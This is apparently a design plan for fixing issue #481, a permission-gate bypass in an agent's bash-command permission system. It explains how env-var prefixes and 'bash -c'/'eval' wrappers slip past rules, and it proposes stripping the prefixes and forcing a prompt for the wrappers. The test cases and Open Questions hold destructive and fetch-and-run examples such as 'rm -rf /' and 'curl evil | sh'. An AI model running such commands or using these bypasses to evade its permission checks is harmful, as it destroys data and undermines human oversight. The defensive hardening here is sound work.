16 KiB
issue, issue_title
| issue | issue_title |
|---|---|
| 481 | pi-permission-system: env-var prefix and bash -c/eval bypass bash command-pattern rules |
Strip env-var prefix and floor opaque bash wrappers
Release Recommendation
Release: ship independently
This is a standalone security bug fix, not a step in any architecture-roadmap phase (Phase 6 is complete and #481 is not referenced in the roadmap). It should ship on its own once landed.
Problem Statement
Bash command-pattern rules are matched against the full text of each command unit produced by BashProgram.commands().
That text includes a leading variable_assignment prefix, so an env-var prefix defeats a rule that should gate the underlying command.
With {"permission":{"bash":{"aws *":"ask"}}}, aws ec2 terminate-instances … prompts correctly, but AWS_PROFILE=prod aws ec2 terminate-instances … is silently auto-allowed because its unit text AWS_PROFILE=prod aws … never matches aws *.
Prefixes like AWS_PROFILE=, PGPASSWORD=, KUBECONFIG= are extremely common in agent-generated commands, so this silently bypasses gating on sensitive commands.
Separately, bash -c "…", sh -c "…", and eval "…" carry an opaque inner program: the payload is a quoted string, not a command/process substitution, so the command enumerator never descends into it.
The wrapper is matched only as bash …, so with a permissive bash *: allow (or a top-level *: allow) the inner command rides through ungated.
Goals
- Strip the leading
variable_assignmentprefix from each enumerated bash command unit, soaws *matchesAWS_PROFILE=prod aws …(the issue's primary expected behavior). - Floor an opaque-payload wrapper (
bash/sh/dash/zsh/kshwith-c, pluseval) to at leastask: a resultingallow(including the top-level*fallback) is clamped up toask, while an explicitdenyrule on the wrapper still denies. - Keep the fix fail-safe and deterministic — it only ever tightens a decision, never loosens one.
This is a behavior change on upgrade with no config edit: a command that was silently auto-allowed (e.g. AWS_PROFILE=prod aws …, or bash -c "…" under a permissive policy) will now match its rule and may prompt or deny.
It is classified fix: (not fix!:) because it only closes a bypass — it never weakens an existing decision, and there is no prior intended behavior to preserve (the old behavior was the bug).
Non-Goals
- Re-parsing
-c/evalpayloads to match inner commands against inner rules. The floor-to-askapproach is fail-safe and far simpler; precise inner-command matching is deferred (see Open Questions). - Covering other indirection wrappers (
sudo,env VAR=x cmd,xargs,find -exec,time,nohup,timeout,nice). These are filed as a follow-up (#490); onlybash/sh/dash/zsh/ksh -candevalare floored in this change. - Collecting path candidates from inside opaque payloads for the
path/external_directorysurfaces. Because the whole wrapper is floored toask, the human is prompted and sees the full command, so inner paths are not silently passed.
Background
The relevant code lives in src/access-intent/bash/:
command-enumeration.ts—collectCommands(node)walks the parsed AST and emits oneBashCommandper command unit. Acommandnode is emitted whole viamakeUnit(node.text, context), wherenode.textis the verbatim source slice including any leadingvariable_assignmentprefix.variable_assignmentis already skipped for path-token collection intoken-collection.tsandcwd-projection.ts, but not here.program.ts—BashProgram.parse(command, cwd)parses once and exposescommands(): BashCommand[].parser.ts— the minimalTSNodeinterface (a subset of web-tree-sitter'sSyntaxNode); it does not currently exposestartIndex.handlers/gates/bash-command.ts—resolveBashCommandCheck(command, commands, agentName, resolver)resolves each unit on thebashsurface and combines them withpickMostRestrictive(deny > ask > allow). It already synthesizes anaskwith the<unparseable-bash-command>sentinel for a non-empty command that parses to zero units (#452).
Constraints from the package skill / AGENTS:
- Default to least privilege — when in doubt, prompt; the floor-to-
askdesign follows this directly. - Wildcard matching must be explicit and tested — silent over- or under-matching is a permission bypass.
docs/architecture/architecture.mddescribescommands()behavior in prose (theprogram.tstree-listing entry); update it when enumeration semantics change.docs/configuration.mddocuments thebashsurface matching rules; update it for the new prefix and wrapper behavior.
Design Overview
Part 1 — strip the env-var prefix
When collectCommandsInto handles a command node, emit the unit text from the first non-variable_assignment child (the command_name) to the end of the node, verbatim.
To slice verbatim while preserving the original inter-token spacing, add startIndex: number to the TSNode interface (web-tree-sitter's SyntaxNode already provides it) and compute the offset within the node:
function commandUnitText(node: TSNode): string {
for (let i = 0; i < node.childCount; i++) {
const child = node.child(i);
if (child && child.isNamed && child.type !== "variable_assignment") {
return node.text.slice(child.startIndex - node.startIndex);
}
}
return node.text; // pure assignment (no command_name): nothing to strip
}
AWS_PROFILE=prod aws ec2 … → aws ec2 …; A=1 B=2 aws … → aws …; a pure FOO=bar (no command_name) keeps its text unchanged (it runs no command, so there is nothing to gate, and keeping the text is never-weaker).
Part 2 — floor opaque-payload wrappers
Tag a wrapper command unit with opaque: true during enumeration, then clamp its decision to at least ask during resolution.
A command is an opaque-payload wrapper when, after skipping leading variable_assignment children, the command_name's basename is:
- one of
bash,sh,dash,zsh,kshand the args contain a short-flag word (before--) that starts with-, is not--, and includes the letterc(covers-c,-ec,-xc); or eval(every arg is part of the command string).
Basename matching covers /bin/bash -c "…".
A shell invocation without -c (e.g. bash script.sh, or bare bash) is not opaque — it runs a file path or an interactive shell, not an inline payload — and is left unflagged.
Extend the BashCommand value type with the optional flag:
export interface BashCommand {
readonly text: string;
readonly context?: BashCommandContext;
/** Opaque-payload wrapper (`bash -c`/`eval`); its decision is floored to `ask`. */
readonly opaque?: boolean;
}
In resolveBashCommandCheck, clamp an allow on an opaque unit up to ask with a sentinel, mirroring the <unparseable-bash-command> pattern:
const results = commands.map((cmd) => {
const base = resolver.resolve({
kind: "tool",
surface: "bash",
input: { command: cmd.text },
agentName,
});
const floored =
cmd.opaque && base.state === "allow"
? { ...base, state: "ask" as const, matchedPattern: "<opaque-bash-wrapper>" }
: base;
return cmd.context ? { ...floored, commandContext: cmd.context } : floored;
});
deny and ask results pass through unchanged, so an explicit bash -c *: deny still denies and pickMostRestrictive keeps deny > ask > allow.
With Part 1, an env-prefixed wrapper (AWS_PROFILE=x bash -c "…") is first stripped to bash -c "…", then flagged opaque — the two parts compose.
Structural review
This is additive and localized.
BashCommand is a small immutable value type (not a shared dependency bag); adding an optional field follows the same extension pattern as context (#306).
Enumeration (command-enumeration.ts) owns the structural facts (stripped text, opaque flag); resolution (bash-command.ts) owns the decision policy (the ask floor) — a clean separation with no new collaborator and no cross-layer wiring.
The opaque detection reads only the command node's own children, the same shallow walk the existing token collectors use.
Module-Level Changes
src/access-intent/bash/parser.ts— addreadonly startIndex: numberto theTSNodeinterface (web-tree-sitterSyntaxNodesupplies it).src/access-intent/bash/command-enumeration.ts- In the
command-node branch, replacemakeUnit(node.text, context)withmakeUnit(commandUnitText(node), context, isOpaqueWrapperCommand(node)). - Add private helpers
commandUnitText(node)andisOpaqueWrapperCommand(node)(placed belowcollectCommandsIntoper the stepdown rule). - Extend
BashCommandwithreadonly opaque?: booleanand extendmakeUnitto set it (only when true, to keeptoEqualfixtures clean — mirrors howcontextis conditionally attached). - Update the
collectCommandsJSDoc to note prefix stripping and opaque-wrapper flagging.
- In the
src/access-intent/bash/program.ts— update thecommands()JSDoc to note the env-var prefix is stripped and-c/evalwrappers are flagged opaque.src/handlers/gates/bash-command.ts— floor an opaque unit'sallowup toaskwith the<opaque-bash-wrapper>sentinel; update the function's JSDoc.test/access-intent/bash/node-text.test.ts— update the localmakeNodebuilder to setstartIndex: 0(required field now; this builder constructsTSNodeliterals).test/access-intent/bash/program.test.ts— add command-enumeration cases (Part 1 and Part 2 flag).test/handlers/gates/bash-command.test.ts— add floor-behavior cases.docs/configuration.md— in thebashsurface section, add a paragraph that a leading env-var assignment prefix is stripped before matching; in "Fail-closed behavior", add a bullet thatbash -c/sh -c/eval(anddash/zsh/ksh -c) opaque payloads are floored toask(the<opaque-bash-wrapper>sentinel) so they cannot ride a permissiveallow.docs/architecture/architecture.md— update theprogram.tstree-listing entry'scommands()description to mention prefix stripping and theopaqueflag.
No removed or renamed exports; no schema/example/loader changes (no new config field).
A grep for the affected symbols (makeUnit, BashCommand, commands()) confirms the call sites are program.ts, bash-command.ts, and the two test files above.
Test Impact Analysis
- New tests enabled.
The prefix strip and opaque flag are observable on
BashProgram.commands(), so they are unit-testable directly inprogram.test.tswithout going through the full gate. The floor is unit-testable inbash-command.test.tsagainst a keyed/mocked resolver. - Redundant tests.
None — this is additive.
Existing
describe("commands")cases stay (they assert the un-prefixed, non-wrapper behavior, which is unchanged). - Tests that must stay as-is.
The existing chain/substitution/subshell enumeration cases and
bash-command-metamorphic.test.ts(which wraps with acdprefix, notbash -c) continue to exercise the un-floored path and thedeny > ask > allowcombination.
Invariants at risk
- #452 fail-closed: a non-empty command parsing to zero units still resolves to
ask(<unparseable-bash-command>), and an empty/whitespace/comment-only command still resolves normally. Pinned by the existing fail-closed tests inbash-command.test.ts; the floor adds a sibling sentinel and does not touch the empty-units branch. - #306 never-weaker nested enumeration: the enclosing command and each nested command are still emitted; adding the
opaqueflag and theaskfloor can only tighten. Pinned bybash-command-metamorphic.test.ts(cd-prefix never-weaker) and the substitution/subshell cases inprogram.test.ts. - #393 no spurious widening: the floor only narrows (
allow→ask); it never relaxes adeny/ask. Pinned by the new deny-still-wins floor test.
TDD Order
- Strip the env-var prefix.
Surface:
test/access-intent/bash/program.test.tsdescribe("commands"). Red — add cases: a single env-var prefix is stripped (AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1→{ text: "aws ec2 terminate-instances --instance-ids i-1" }); multiple assignments stripped (A=1 B=2 aws s3 ls→{ text: "aws s3 ls" }); a prefix inside a chain (X=1 aws sts get-caller-identity && ls→ first unitaws sts get-caller-identity); a pure assignment keeps its text (FOO=bar→{ text: "FOO=bar" }). Green — addstartIndextoTSNode(parser.ts), addcommandUnitTextand use it in thecommandbranch ofcommand-enumeration.ts, and setstartIndex: 0innode-text.test.ts'smakeNode(required-field compile fix). Commit:fix(pi-permission-system): strip env-var assignment prefix from bash command units (#481). - Floor opaque
-c/evalwrappers toask. Surfaces:test/access-intent/bash/program.test.ts(flag) andtest/handlers/gates/bash-command.test.ts(floor). Red — flagging cases:bash -c "rm -rf /",sh -c "…",eval "rm -rf /",dash -c "…",zsh -c "…",ksh -c "…",/bin/bash -c "…"(basename),bash -ec "…"(flag cluster) all setopaque: true;bash script.sh, barebash, and a plainlsdo not. Floor cases: an opaque unit resolving toallowbecomesaskwithmatchedPattern: "<opaque-bash-wrapper>"; an opaque unit with adenyrule staysdeny; an opaque unit with anaskrule staysask; an env-prefixedAWS_PROFILE=x bash -c "…"is stripped tobash -c "…"and floored. Green — addopaque?: booleantoBashCommand, addisOpaqueWrapperCommandand extendmakeUnitincommand-enumeration.ts, and apply the floor inresolveBashCommandCheck. Commit:fix(pi-permission-system): floor opaque bash -c/eval wrappers to ask (#481). - Document the new behavior.
Update
docs/configuration.md(env-prefix paragraph + opaque-wrapper fail-closed bullet) anddocs/architecture/architecture.md(commands()description). Commit:docs(pi-permission-system): document env-prefix stripping and opaque bash-wrapper floor (#481).
Risks and Mitigations
- Risk: a benign
bash -c "ls"now prompts where it was auto-allowed under a permissive policy. Mitigation: intended trade-off (fail-safe over convenience); documented indocs/configuration.md. Precise inner-command matching is the deferred re-parse follow-up. - Risk:
startIndexbecomes a requiredTSNodefield and breaksTSNodeliteral mocks. Mitigation: onlynode-text.test.ts'smakeNodeconstructs literals; it is updated in step 1. Real parses (web-tree-sitter) always supplystartIndex. - Risk: over-broad opaque detection floors a non-wrapper (e.g. a command that happens to take a
-cflag with a different meaning, likegrep -c). Mitigation: detection is gated on thecommand_namebasename being a known shell (bash/sh/dash/zsh/ksh) oreval;grep -cis unaffected becausegrepis not in the shell set. - Risk: the metamorphic totality property regresses.
Mitigation: the floor only narrows;
bash-command-metamorphic.test.tsstays green (it usescd-prefix wrapping, notbash -c).
Open Questions
- Re-parse
-c/evalpayloads for precise inner-command matching (the issue's "ideally") — would allow a benignbash -c "ls"while still gatingbash -c "curl evil | sh". Deferred; not filed (speculative until the floor proves too coarse in practice). - Other indirection wrappers (
sudo,env VAR=x cmd,xargs,find -exec,time,nohup,timeout,nice) — filed as a follow-up: #490.